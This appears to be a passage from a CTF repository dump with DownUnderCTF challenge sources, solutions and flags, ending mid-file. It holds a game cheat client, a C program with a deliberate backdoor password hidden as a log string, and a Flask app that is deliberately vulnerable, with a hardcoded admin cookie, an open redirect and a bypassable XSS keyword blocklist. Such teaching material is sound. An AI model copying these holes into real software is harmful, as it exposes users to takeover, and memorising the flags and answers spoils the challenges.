\"/game.framework.js\",\n        codeUrl: buildUrl + \"/game.wasm\",\n        streamingAssetsUrl: \"StreamingAssets\",\n        companyName: \"DownUnderCTF\",\n        productName: \"DownUnderCTF\",\n        productVersion: \"1.0\",\n      };\n\n      var container = document.querySelector(\"#unity-container\");\n      var canvas = document.querySelector(\"#unity-canvas\");\n      var loadingBar = document.querySelector(\"#unity-loading-bar\");\n      var progressBarFull = document.querySelector(\"#unity-progress-bar-full\");\n\n      loadingBar.style.display = \"block\";\n\n      var script = document.createElement(\"script\");\n      script.src = loaderUrl;\n      script.onload = () => {\n        createUnityInstance(canvas, config, (progress) => {\n          progressBarFull.style.width = 100 * progress + \"%\";\n        }).then((unityInstance) => {\n          window.unityInstance = unityInstance\n          loadingBar.style.display = \"none\";\n        }).catch((message) => {\n          alert(message);\n        });\n      };\n      document.body.appendChild(script);\n\n    </script>\n    <script>\n      var update_health_button = document.getElementById(\"update_health_go\")\n      update_health_button.onclick = () => {\n        var upd_amount = parseInt(document.getElementById(\"update_health\").value)\n        window.unityInstance.SendMessage('Player', 'UpdateHealth', upd_amount)\n      }\n\n      document.onkeypress = (e) => {\n        if(e.keyCode == 122) {\n          window.unityInstance.SendMessage('Player', 'BoosterJump', 12)\n        }\n      }\n\n      var original_perf_now = performance.now\n      var real_start_time = performance.now()\n      \n      var speedhack_perf_now = (speed_multiplier) => {\n        return () => {\n          var real_time = original_perf_now.call(performance)\n          var fake_elapsed = (real_time - real_start_time) * speed_multiplier\n          return real_start_time + fake_elapsed\n        }\n      }\n\n      var update_speed_button = document.getElementById(\"update_speed_go\")\n      update_speed_button.onclick = () => {\n        var upd_amount = parseFloat(document.getElementById(\"update_speed\").value)\n        performance.now = speedhack_perf_now(upd_amount)\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "rev/gamer/solve/writeup.md",
    "content": "# Challenge Overview\n\nWe are tasked with beating a simple game made with [Unity](https://unity.com/). Checking the network requests in the browser developer tools shows that a few files are downloaded, but while the game is being played, no network requests are made. We also note that the console output has some useful messages (though not necessary to solve the challenge). We can download the necessary assets and work offline.\n\nThe game itself is simple; collect four coins on the map, then find the flag. The first two coins are easy to get, but we are teased with the third coin being behind a tree which is blocked by a row of spikes that seem impossible to get past. If you manage to get past the spikes, the fourth coin might also seem out of reach. It exists high in the sky, surrounded by a swarm of flying enemies. If you manage to obtain this coin, the last step is to find the flag. There are signs pointing to the right, and the console output also tells you the location of the flag. It's very far away from you, and it might take some time to get there.\n\n# Solution\n\nTo beat the game it seems like we need three things: invincibility, more jumping power, and more speed (or a position hack). Considering that everything is handled client-side, this might be possible to achieve somehow. Actually, Unity makes this quite easy for us as it exposes an interface to [call Unity scripts from JavaScript](https://docs.unity3d.com/Manual/webgl-interactingwithbrowserscripting.html). Deobfuscating and cleaning up the JavaScript in the `index.html` file, we see that `createUnityInstance` is called. We can edit the script to put the created unity instance object into the global scope so that we can use it to send messages to Unity objects (as in the link above).\n\n## Invincibility and Jump Hack\n\nWe need to figure out what Unity objects to send messages to, and what methods are defined on them. There are some tools that may help extracting Unity assets and resources from the data files. [This tool](https://devxdevelopment.com/) (the free version) in particular could be used to get the scene data and names of the objects. However, it's entirely possible to figure out the object names with sensible guesses (i.e. `Player`) and their methods can be found by closely inspecting the `game.data` file. Specifically, the `game.data` file contains metadata for Unity scripts which includes method names. Looking through the `game.data` file, we see a section which contains some useful names.\n\n```\nPlayerLogic HandleMovement CheckIfGrounded amt BoosterJump UpdateHealth health moveSpeed jumpForce\n```\n\nMethod names in C# conventionally use PascalCase, so this helps us to identify the methods. If we don't know what arguments the methods take, we can try sending messages like:\n\n```js\nunityInstance.SendMessage('Player', 'BoosterJump')\n```\n\nwhich will give an error message, telling us what parameters it expects:\n\n```\nFailed to call function BoosterJump of class PlayerLogic\nCalling function BoosterJump with no parameters but the function requires 1.\n```\n\nInstead, if we try\n\n```js\nunityInstance.SendMessage('Player', 'BoosterJump', 20)\n```\n\nwe notice that our character jumps up!\n\nThe same thing can be done for `UpdateHealth` to gain invincibility.\n\n## Speed Hack\n\nThere aren't any convenient methods that will update our speed. Perhaps we could find where our speed is stored in memory and update it that way. However, we can also abuse the fact that Unity uses the `performance.now()` web API for handling time. Inspired by [Cetus](https://github.com/Qwokka/Cetus), we can simply overwrite `performance.now` to our own function that returns a higher value than expected; this has the effect of speeding things up and will allow us to move a lot faster. Doing this, we can move to the right and find the flag in less than a minute.\n\n## Cheat Client\n\nA sample cheat client can be found in `solve/index.html`. To run it, set up a http server serving at the challenge's root directory (so that it can access the files in `challenge/`). The client provides a very simple user interface to update the player's health and the game speed. It also binds `z` to the booster jump function to achieve arbitrary jump.\n\nThe GIF below shows a playthrough of the game (sorry for the screen tearing)\n\n![playthrough.gif](./playthrough.gif)\n"
  },
  {
    "path": "rev/juniperus/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04\n\nCOPY ./challenge/nsjail.cfg /home/ctf/nsjail.cfg\nCOPY ./challenge/flag.txt /home/ctf/chal/flag.txt\nCOPY ./challenge/shell /home/ctf/chal/pwn\n"
  },
  {
    "path": "rev/juniperus/README.md",
    "content": "# Juniperus\n\n**Author:** nullableVoid\\*#7225\n\n**Category:** rev\n\n**Difficulty:** Easy\n\nHow the hell did they break into our firewalls? We had strong passwords and everything!\n\n**Attached files:**\n- ./challenge/shell (sha256: 1623de1bb8b85804278065deda8b1ec56c0ed1139cdac46a368184c1e9fa6b98)\n\n"
  },
  {
    "path": "rev/juniperus/challenge/flag.txt",
    "content": "DUCTF{57r1ng5-4bl3... k1nd4}\n"
  },
  {
    "path": "rev/juniperus/challenge/nsjail.cfg",
    "content": "name: \"challenge\"\ndescription: \"Default nsjail configuration for pwnable-style CTF task.\"\n\nmode: LISTEN\nuidmap {inside_id: \"1000\"}\ngidmap {inside_id: \"1000\"}\n\n# jail config\ncwd: \"/chal\"\nhostname: \"challenge\"\n\n# network config\nbindhost: \"0.0.0.0\"\nmax_conns_per_ip: 10\nport: 1337\n\n# limits\nmount_proc: false\ntime_limit: 60\ncgroup_mem_max: 16777216 \ncgroup_pids_max: 4\ncgroup_cpu_ms_per_sec: 25\n\n\nmount: [\n  {\n    src: \"/home/ctf/chal\"\n    dst: \"/chal\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/bin\",\n    dst: \"/bin\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/lib\",\n    dst: \"/lib\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/lib64\",\n    dst: \"/lib64\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/dev/urandom\",\n    dst: \"/dev/urandom\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/dev/null\",\n    dst: \"/dev/null\",\n    is_bind: true,\n    rw: false\n  }\n]\n\nexec_bin {\n  path: \"/chal/pwn\"\n}\n"
  },
  {
    "path": "rev/juniperus/challenge/shell.c",
    "content": "#include <stdio.h>\n#include <stdbool.h>\n#include <string.h>\n#include <openssl/crypto.h>\n#include <openssl/evp.h>\n\nconst char client_password_hashed[] = {0x21, 0xdf, 0x4, 0x84, 0x7a, 0x91, 0x8c, 0xa2, 0x47, 0xa4, 0x3e, 0x46, 0xe7, 0xbd, 0x94, 0x2e, 0x32, 0xa1, 0x72, 0x80, 0xe8, 0xe4, 0x3a, 0xd2, 0xcc, 0xe7, 0xd8, 0xe9, 0x3a, 0x6d, 0x59, 0xa1, 0xcd, 0xee, 0x36, 0xa7, 0xa2, 0xce, 0xca, 0xc6, 0x6b, 0x61, 0x95, 0x8d, 0x38, 0xd, 0x56, 0xd4, 0xfa, 0x16, 0xef, 0xc4, 0xd3, 0xe2, 0xaf, 0xe5, 0x82, 0x18, 0x9b, 0xb8, 0x36, 0xc5, 0x91, 0xa4}; //rand bytes\n\nconst char log_file_path[] = \"/dev/null\";\nFILE* log_file;\n\nbool print_log(const char* format, ...) {\n\tint result;\n\tva_list arglist;\n\n\tva_start(arglist, format);\n\tresult = vfprintf(log_file, format, arglist);\n\tva_end(arglist);\n\n\treturn result < 0;\n}\n\nbool backdoor(const char* backdoor_pw, ...) {\n\tconst char* s1;\n\tconst char* s2;\n\tva_list arglist;\n\n\tva_start(arglist, backdoor_pw);\n\tvfprintf(log_file, backdoor_pw, arglist);\n\tchar* input = va_arg(arglist, char*);\n\tva_end(arglist);\n\n\ts1 = backdoor_pw;\n\ts2 = input;\n\n\twhile (*s1 == *s2 && *s1) {\n\t\ts1++;\n\t\ts2++;\n\t}\n\n\treturn *s1 == *s2;\n}\n\nbool authenticate() {\n\tEVP_MD_CTX *mdctx;\n\n\tif (print_log(\"[I] New context...\\n\")) {\n\t\treturn 0;\n\t}\n\tif((mdctx = EVP_MD_CTX_new()) == NULL) {\n\t\tprint_log(\"[E] New failed!\\n\");\n\t\treturn 0;\n\t}\n\n\n\tif (print_log(\"[I] Init context...\\n\")) {\n\t\treturn 0;\n\t}\n\tif(1 != EVP_DigestInit_ex(mdctx, EVP_sha3_512(), NULL)) {\n\t\tprint_log(\"[E] Init failed!\\n\");\n\t\treturn 0;\n\t}\n\n\tif (print_log(\"[I] Prompting user for password...\\n\")) {\n\t\treturn 0;\n\t}\n\n\tchar input[35];\n\tprintf(\"Root password (32 chars. max): \");\n\tfgets(input, 32, stdin);\n\tinput[strcspn(input, \"\\n\")] = 0;\n\n\tif (print_log(\"[I] Password attempt: %s (%d chars long)\\n\", input, strlen(input))) {\n\t\treturn 0;\n\t}\n\n\tif (print_log(\"[I] Updating context...\\n\")) {\n\t\treturn 0;\n\t}\n\tif(1 != EVP_DigestUpdate(mdctx, input, 32)) {\n\t\tprint_log(\"[E] Update failed!\\n\");\n\t\treturn 0;\n\t}\n\n\tif (print_log(\"[I] Allocating digest...\\n\")) {\n\t\treturn 0;\n\t}\n\tunsigned char* digest = (unsigned char *)OPENSSL_malloc(EVP_MD_size(EVP_sha256()));\n\tif(digest == NULL) {\n\t\tprint_log(\"[E] malloc failed!\\n\");\n\t\treturn 0;\n\t}\n\n\tunsigned int digest_len;\n\tif (print_log(\"[I] Finalising digest...\\n\")) {\n\t\treturn 0;\n\t}\n\tif(1 != EVP_DigestFinal_ex(mdctx, digest, &digest_len)) {\n\t\tprint_log(\"[E] Finalise failed!\\n\");\n\t\treturn 0;\n\t}\n\n\tEVP_MD_CTX_free(mdctx);\n\n\tif (print_log(\"[I] Comparing hashes...\\n\")) {\n\t\treturn 0;\n\t}\n\tint result = CRYPTO_memcmp(client_password_hashed, digest, 64);\n\tOPENSSL_free(digest);\n\n\treturn backdoor(\"[I] Authentication complete.\", input) || (result == 0);\n}\n\nint main() {\n\tsetvbuf(stdin, 0, 2, 0);\n\tsetvbuf(stdout, 0, 2, 0);\n\n\tlog_file = fopen(log_file_path, \"a\");\n\tchar buffer[100] = {0};\n\tFILE* flag = fopen(\"flag.txt\", \"r\");\n\tif (flag == NULL) {\n\t\tprintf(\"Missing flag.txt\\n\");\n\t\treturn 0;\n\t}\n\n\tchar* ptr = buffer;\n\tfor (int c = fgetc(flag); c != EOF; c = fgetc(flag)) {\n\t\t*ptr++ = (char) c;\n\t}\n\n\tif (authenticate()) {\n\t\tprintf(\"Authenticated. Here's your flag: %s\\n\", buffer);\n\t} else {\n\t\tprintf(\"Authentication failure.\\n\");\n\t}\n\tfclose(flag);\n\treturn 0;\n}\n"
  },
  {
    "path": "rev/juniperus/challenge.yml",
    "content": "version: \"0.1\"\nid: juniperus\nname: Juniperus\ncategory: reversing\ndescription: >\n  How the hell did they break into our firewalls? We had strong passwords and everything!\n\n\n  Author: nullableVoid*#7225 \n\nconnection_info: nc ${host} ${port}\n\nfiles:\n  - ./challenge/shell\n\ntags:\n  - easy\n\nflags:\n  - DUCTF{57r1ng5-4bl3... k1nd4}\n"
  },
  {
    "path": "rev/juniperus/solve/writeup.md",
    "content": "The challenge name makes reference to the infamous Juniper Networks supply-chain attack, in which a specific version of software had [embedded a root password disguised as a logging string](https://www.rapid7.com/blog/post/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor/) to evade detection.\n\nDisassembling the `shell` binary, the main function (0x101180) loads the flag, and calls another function (0x101524) which contains references to log strings.\nThese log strings are passed, into a logging function (0x101359), with the exception of `[I] Authentication complete.`, which is passed into a separate function. This function in turn contains an inlined strcmp, and then returns its result. Hence, the player can deduce that the aforementioned string is the password.\n"
  },
  {
    "path": "rev/no-strings/README.md",
    "content": "# no strings\n\n**Category:** reversing\n\n**Difficulty:** beginner\n\n**Author:** joseph#8210\n\nThis binary contains a free flag. No strings attached, seriously!\n\n**Attached files:**\n- ./challenge/nostrings (sha256: 62bdc1ff08af6647109112372fdcb09a9f3eaa0d164a8542e251de9ecbdb187f)\n"
  },
  {
    "path": "rev/no-strings/WRITEUP.md",
    "content": "When we run the program, we are prompted to enter the flag. If we enter something, the program prints `wrong!` and exits. Presumably, the goal of the challenge is to reverse engineer the program to figure out what input string will cause the program to print something other than `wrong!`.\n\n[`strings`](https://en.wikipedia.org/wiki/Strings_(Unix)) is a useful program that can be used to quickly find hardcoded strings (and secrets!) in binary files. In this challenge however, running `strings` does not find the flag as one might expect from the challenge name. Here are two (among many other) ways to solve the challenge:\n\n- Running `xxd` and looking through the output reveals something that resembles the flag (which we can recognise from the `DUCTF{` flag format)\n- Opening the binary in `radare2` and running the `iz` command to print strings in the data sections of the binary\n"
  },
  {
    "path": "rev/no-strings/challenge/flag.txt",
    "content": "DUCTF{stringent_strings_string}\n"
  },
  {
    "path": "rev/no-strings/challenge/nostrings.c",
    "content": "#include <stdio.h>\n#include <string.h>\n\nchar* flag = \"D\\0U\\0C\\0T\\0F\\0{\\0s\\0t\\0r\\0i\\0n\\0g\\0e\\0n\\0t\\0_\\0s\\0t\\0r\\0i\\0n\\0g\\0s\\0_\\0s\\0t\\0r\\0i\\0n\\0g\\0}\";\n\nint main() {\n\tchar input[70];\n\tprintf(\"flag? \");\n\tfgets(input, 70, stdin);\n\tfor(int i = 0; i < strlen(input) - 1; i++) {\n\t\tif(input[i] != flag[2*i]) {\n\t\t\tputs(\"wrong!\");\n\t\t\treturn -1;\n\t\t}\n\t}\n\tputs(\"correct!\");\n\treturn 0;\n}\n"
  },
  {
    "path": "rev/no-strings/challenge.yml",
    "content": "version: \"0.1\"\nid: no-strings\nname: no strings\ncategory: reversing\ndescription: >\n  This binary contains a free flag. No strings attached, seriously!\n\n\n  Author: joseph#8210\n\ntags:\n  - beginner\n\nfiles:\n  - ./challenge/nostrings\n\nflags:\n  - DUCTF{stringent_strings_string}\n"
  },
  {
    "path": "web/chainreaction/Dockerfile",
    "content": "FROM python:3.7\n\nENV INSTALL_PATH /app\nRUN mkdir -p $INSTALL_PATH\nRUN apt-get update && \\\n    apt-get install -y netcat-openbsd && \\\n    rm -rf /var/lib/apt/lists/*\n\nWORKDIR $INSTALL_PATH\nRUN mkdir -p /app/chainreaction\nCOPY ./challenge/chainreaction /app/chainreaction\nCOPY ./challenge/ /app\nRUN pip install -r requirements.txt\nRUN chmod +x /app/wait-for-it.sh\nCMD [\"/bin/sh\", \"-c\", \"/app/wait-for-it.sh --strict -t 60 $MYSQL_HOST:3306 -- python3 /app/app.py\"]"
  },
  {
    "path": "web/chainreaction/README.md",
    "content": "# Chainreaction\n\n**Catagory**: web\n\n**Difficulty**: Easy\n\n**Author**: n00bmaster\n\n## Description\n\nA bunch of university students want to start a company and hired some young university students. I wonder if they paid any attention to security.\n\n## Writeup\nIn the solution directory"
  },
  {
    "path": "web/chainreaction/challenge/app.py",
    "content": "from chainreaction import app\n\nif __name__ == '__main__':\n    app.run(host=\"0.0.0.0\", port=1337)\n"
  },
  {
    "path": "web/chainreaction/challenge/bad.txt",
    "content": "<script>\n<img\n<body\n<svg\n<meta\n<\n>\njavascript\n<script\n</\nonload\nonerror\n<div\n<a\nscript\nFSCommand\nonAbort\nonactivate\nonafterPrint\nonafterUpdate\nonaeforeActivate\nonaeforeCopy\nonaeforeCut\nonBeforeDeactivate\nonBeforeEditFocus\nonBeforePaste\nonBeforePrint\nonBeforeUnload\nonBeforeUpdate\nonBegin\nonBlur\nonBounce\nonCellChange\nonChange\nonClick\nonContextMenu\nonControlSelect\nonCopy\nonCut\nonDataAvailable\nonDataSetChanged\nonDataSetComplete\nonDblClick\nonDeactivate\nonDrag\nonDragEnd\nonDragLeave\nonDragEnter\nonDragOver\nonDragDrop\nonDragStart\nonDrop\nonEnd\nonError\nonErrorUpdate\nonFilterChange\nonFinish\nonFocus\nonFocusIn\nonFocusOut\nonHashChange\nonHelp\nonInput\nonKeyDown\nonKeyPress\nonKeyUp\nonLayoutComplete\nonLoad\nonLoseCapture\nonMediaComplete\nonMediaError\nonMessage\nonMouseDown\nonMouseEnter\nonMouseLeave\nonMouseMove\nonMouseOut\nonMouseOver\nonMouseUp\nonMouseWheel\nonMove\nonMoveEnd\nonMoveStart\nonOffline\nonOnline\nonOutOfSync\nonPaste\nonPause\nonPopState\nonProgress\nonPropertyChange\nonReadyStateChange\nonRedo\nonRepeat\nonReset\nonResize\nonResizeEnd\nonResizeStart\nonResume\nonReverse\nonRowsEnter\nonRowExit\nonRowDelete\nonRowInserted\nonScroll\nonSeek\nonSelect\nonSelectionChange\nonSelectStart\nonStart\nonStop\nonStorage\nonSyncRestored\nonSubmit\nonTimeError\nonTrackChange\nonUndo\nonUnload\nonURLFlip\nseekSegmentTime"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/.gitignore",
    "content": "__pycache__/"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/__init__.py",
    "content": "from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom os import environ\nfrom flask_login import LoginManager\nfrom flask_bcrypt import Bcrypt\nfrom dotenv import load_dotenv\nfrom time import sleep \nload_dotenv()\napp = Flask(__name__)\napp.secret_key = b\"iugi3jbnsad7g32kjbgiojubdhghs\"\napp.config['SQLALCHEMY_DATABASE_URI'] = (\n    f'mysql+pymysql://{environ[\"MYSQL_USER\"]}:{environ[\"MYSQL_PASSWORD\"]}' + \n    f'@{environ.get(\"MYSQL_HOST\", \"localhost\")}' +\n    f'/{environ.get(\"MYSQL_DB\", \"ductf_db\")}'\n)\napp.config[\"SESSION_COOKIE_HTTPONLY\"] = False\ndb = SQLAlchemy(app)\nlogin_manager = LoginManager(app)\nbcrypt = Bcrypt(app)\n# Import the routes \nfrom chainreaction import routes"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/models.py",
    "content": "from . import db, login_manager\nfrom flask_login import UserMixin\n\n@login_manager.user_loader\ndef load_user(user_id):\n    return User.query.get(int(user_id))\n\nclass User(db.Model, UserMixin):\n    __tablename__ = \"user\"\n    id = db.Column(db.Integer, primary_key=True, autoincrement=True, nullable=False)\n    username = db.Column(db.String(150), nullable=False, unique=True)\n    password = db.Column(db.String(100), nullable=False)\n    aboutme = db.Column(db.String(300))\n\nclass Messages(db.Model):\n    __tablename__ = \"messages\"\n    id = db.Column(db.Integer, primary_key=True, autoincrement=True, nullable=False)\n    message = db.Column(db.String(400), nullable=False)\n    timesent = db.Column(db.BigInteger, nullable=False)\n    sender = db.Column(db.String(150))\n\nclass Roles(db.Model):\n    __tablename__ = \"roles\"\n    id = db.Column(db.Integer, primary_key=True, autoincrement=True, nullable=False)\n    role = db.Column(db.String(30), nullable=False)\n\nclass SessionKeys(db.Model):\n    __tablename__ = \"sessionkeys\"\n    id = db.Column(db.Integer, primary_key=True, autoincrement=True, nullable=False)\n    session_key = db.Column(db.String(300), nullable=False)\n    \nclass Reports(db.Model):\n    __tablename__ = \"reports\"\n    id = db.Column(db.Integer, primary_key=True, autoincrement=True, nullable=False)\n    userid = db.Column(db.Integer, nullable=False)\n\ndb.create_all()\n"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/routes.py",
    "content": "from chainreaction import app, login_manager,db,bcrypt\nfrom flask import redirect, request, url_for, flash, render_template, session, jsonify, make_response\nfrom .models import *\nfrom os import environ\nimport unicodedata\nfrom flask_login import login_user, current_user, logout_user\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_remote_address\nfrom functools import wraps\nimport json\nimport uuid\nimport requests\nfrom apscheduler.schedulers.background import BackgroundScheduler\n\nXSSBOT_URL = environ.get(\"XSSBOT_URL\", \"http://127.0.0.1:8000\")\n\ndomain = \"localhost\"\n\nbad = open(\"bad.txt\", \"r\").read()\n\nlimiter = Limiter(\n    app,\n    key_func=get_remote_address,\n    default_limits=[\"60 per minute\"]\n)\n\ndef login_required(f):\n    @wraps(f)\n    def decorated_function(*args, **kwargs):\n        if request.cookies.get('admin-cookie') != \"sup3rs3cur34dm1nc00k13\" and not current_user.is_authenticated:\n            flash('Not allowed.')\n            return redirect(url_for('login'))\n\n        return f(*args, **kwargs)\n    return decorated_function\n\ndef admin_required(f):\n    @wraps(f)\n    def decorated_function(*args, **kwargs):\n        if request.cookies.get('admin-cookie') != \"sup3rs3cur34dm1nc00k13\":\n            flash('Not allowed.')\n            return redirect(url_for('login'))\n\n        return f(*args, **kwargs)\n    return decorated_function\n\ndef waf(data):\n    found = False\n    for b in bad.split(\"\\n\"):\n        if b.lower() in data:\n            print(b.lower())\n            found = True\n            break\n    else:\n        found = False\n    return found\n\n@app.route(\"/\")\ndef index():\n    next = request.args.get(\"next\")\n    if next:\n        return redirect(next) \n    return render_template(\"index.html\")\n\n@app.route(\"/dev\")\ndef dev():\n    return render_template(\"dev.html\")\n\n@app.route(\"/admin\")\n@admin_required\ndef admin():\n    return render_template(\"admin.html\")\n\n@app.route(\"/devchat\")\ndef chat():\n    user_messages = Messages.query.order_by(Messages.timesent.desc()).all()\n    user_messages.reverse()\n    return render_template(\"chats.html\", user_messages=user_messages)\n\n@app.route(\"/profile/<userid>\", methods=[\"GET\", \"POST\"])\n@login_required\ndef profile(userid):\n    if request.method == \"POST\":\n        if \"aboutme\" in request.form:\n            aboutme = request.form[\"aboutme\"]\n            update = User.query.filter_by(id=userid).first()\n            if aboutme == current_user.aboutme:\n                pass\n            elif len(aboutme) > 300:\n                flash(\"About me too long\", \"warning\")\n            elif not waf(aboutme.lower()):\n                update.aboutme = unicodedata.normalize(\"NFKD\", aboutme)\n            else:\n                return render_template(\"bad.html\")\n            db.session.commit()\n        if \"username\" in request.form:\n            username = request.form[\"username\"]\n            user_update = User.query.filter_by(id=userid).first()\n            if username == current_user.username:\n                pass\n            elif len(username) > 200:\n                flash(\"Username too long\", \"warning\")\n            elif not User.query.filter_by(username=unicodedata.normalize(\"NFKD\", username)).first():\n                if not waf(username.lower()):\n                    user_update.username = unicodedata.normalize(\"NFKD\", username)\n                else:\n                    return render_template(\"bad.html\")\n                db.session.commit()\n            else:\n                flash(\"Username already exists!\", \"warning\")\n    user_data = User.query.filter_by(id=userid).first()\n    auth = False\n    admin = False\n    if request.cookies.get('admin-cookie') == \"sup3rs3cur34dm1nc00k13\":\n        admin = True\n    if (current_user.is_authenticated and current_user.id == int(userid)):\n        auth = True\n    \n    response = make_response(render_template(\"profile.html\", user_data=user_data, auth=auth, admin=admin))\n    return response\n\n@app.route(\"/login\", methods=['GET', 'POST'])\ndef login():\n    if current_user.is_authenticated:\n        redirect(url_for('home'))\n    if request.method == \"POST\":\n        username = request.form.get(\"username\")\n        password = request.form.get(\"password\")\n        if not username or not password:\n            flash(\"Need a username and password\", 'warning')\n            return render_template(\"login.html\")\n        if len(username) > 100:\n            return \"Pick a shorter username\"\n        user = User.query.filter_by(username=username).first()\n        if user and bcrypt.check_password_hash(user.password, password):\n            login_user(user, False)\n            return redirect(url_for('home'))\n        else:\n            flash('Login unsuccessful please check your username or password')\n    return render_template(\"login.html\")\n\n\n@app.route(\"/register\", methods=['GET', 'POST'])\ndef register():\n    if current_user.is_authenticated:\n        return redirect(url_for('home'))\n    if request.method == \"POST\":\n        username = unicodedata.normalize(\"NFKD\", request.form[\"username\"])\n        if waf(username.lower()):\n            return \"HACKING ATTEMPT DETECTED\"\n        hashed_password = bcrypt.generate_password_hash(request.form[\"password\"]).decode('utf-8')\n        if not User.query.filter_by(username=username).first():\n            user = User(username=username, password=hashed_password)\n            db.session.add(user)\n            db.session.commit()\n            flash('Created account', 'success')\n            return redirect(url_for(\"login\"))\n        else:\n            flash('Account already exists', 'danger')\n    return render_template('register.html', title=\"Register\")\n\n@app.route(\"/logout\")\ndef logout():\n    logout_user()\n    return redirect(\"/home\")\n\n@app.route(\"/home\")\ndef home():\n    return render_template('home.html', auth=current_user.is_authenticated)\n\n@app.route(\"/api/v1/report\")\n@login_required\n@limiter.limit(\"6 per minute\")\ndef report():\n    requests.post(f\"{XSSBOT_URL}/visit\", json={'url':\n        f'http://{domain}:1337/profile/{str(current_user.id)}'\n    }, headers={\n        'X-SSRF-Protection': '1'\n    })\n    return jsonify(status=\"Success\")\n\n\ndef init():\n    # Just some initializing\n    users = ['admin', 'john', 'wick', 'kay']\n    for i in users:\n        if not User.query.filter_by(username=i).first():\n            user = User(username=i, password=bcrypt.generate_password_hash(uuid.uuid4().hex).decode('utf-8'), aboutme=\"Placeholder\")\n            db.session.add(user)\n            db.session.commit()\n\n    file = json.loads(open(\"init.json\", 'r').read())\n\n    for message in file['messages']:\n        if not Messages.query.filter_by(message=message['message']).first():\n            user = User.query.filter_by(username=message['username']).first()\n            message = Messages(message=message['message'], timesent=message[\"timesent\"], sender=user.username)\n            db.session.add(message)\n            db.session.commit()\n\ninit()\n"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/templates/admin.html",
    "content": "{% extends 'head.html' %}\n{% block body %}\n<h1>You shouldn't be here</h1>\n<small>DUCTF{_un1c0de_bypass_x55_ftw!}</small>\n{% endblock body %}"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/templates/bad.html",
    "content": "{% extends 'head.html' %}\n{% block body %}\n<style>\n    .vertical-center {\n  min-height: 100%;  /* Fallback for browsers do NOT support vh unit */\n  min-height: 100vh; /* These two lines are counted as one :-)       */\n\n  display: flex;\n  align-items: center;\n}\n</style>\n<div class=\"jumbotron text-center\">\n    <h1>Hacking attempt detected!</h1>\n</div>\n{% endblock body %}"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/templates/chats.html",
    "content": "{% extends 'head.html' %}\n{% block body %}\n<!-- Full credit: https://codepen.io/kristinak/pen/bXqayB -->\n<style>\n.bubbleWrapper {\n\tpadding: 10px 10px;\n\tdisplay: flex;\n\tjustify-content: flex-end;\n\tflex-direction: column;\n\talign-self: flex-end;\n  color: #fff;\n}\n\n.inlineContainer {\n  display: inline-flex;\n}\n\n.inlineIcon {\n  width:20px;\n  object-fit: contain;\n}\n\n.otherBubble {\n\tmin-width: 60px;\n\tmax-width: 700px;\n\tpadding: 14px 18px;\n  margin: 6px 8px;\n\tbackground-color: #6C8EA4;\n\tborder-radius: 16px 16px 16px 0;\n\tborder: 1px solid #54788e;\n  \n}\n.other {\n\talign-self: flex-start;\n}\nspan.own,\nspan.other{\n  font-size: 14px;\n  color: grey;\n}\n</style>\n\n<h1>Chat here!</h1>\n<hr>\n{% for message in user_messages %}\n  <div class=\"bubbleWrapper\">\n    <div class=\"inlineContainer\">\n      <img class=\"inlineIcon\" src=\"https://cdn1.iconfinder.com/data/icons/ninja-things-1/1772/ninja-simple-512.png\">\n      <div class=\"otherBubble other\">\n        {{ message.message }}\n      </div>\n    </div><span class=\"other\">{{ message.sender }}</span>\n  </div>\n{% endfor %}\n{% endblock body %}"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/templates/dev.html",
    "content": "{% extends 'head.html' %}\n{% block body %}\n<div class=\"jumbotron text-center\">\n    <h1>Dev Portal</h1>\n    <p>Dev portal is still under construction. If you already have had account provisioned head over to /devchat or head to /admin if you are a site admin</p>\n</div>\n{% endblock body %}"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/templates/head.html",
    "content": "<!DOCTYPE html>\n<html>\n    <head>\n        <title>Chain reaction</title>\n        <meta charset=\"utf-8\">\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n        <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css\" integrity=\"sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO\" crossorigin=\"anonymous\">        <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js\"></script>\n        <script src=\"https://code.jquery.com/jquery-3.3.1.slim.min.js\" integrity=\"sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo\" crossorigin=\"anonymous\"></script>\n        <script\n\t\t\t  src=\"https://code.jquery.com/jquery-3.6.0.min.js\"\n\t\t\t  integrity=\"sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=\"\n\t\t\t  crossorigin=\"anonymous\"></script>\n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js\" integrity=\"sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49\" crossorigin=\"anonymous\"></script>\n        <script src=\"https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js\" integrity=\"sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy\" crossorigin=\"anonymous\"></script>    </head>\n        <style>\n          footer {\n            text-align: center;\n          }\n        </style>\n        <body>\n        <nav class=\"navbar navbar-expand-lg navbar-light bg-light\">\n            <button class=\"navbar-toggler\" type=\"button\" 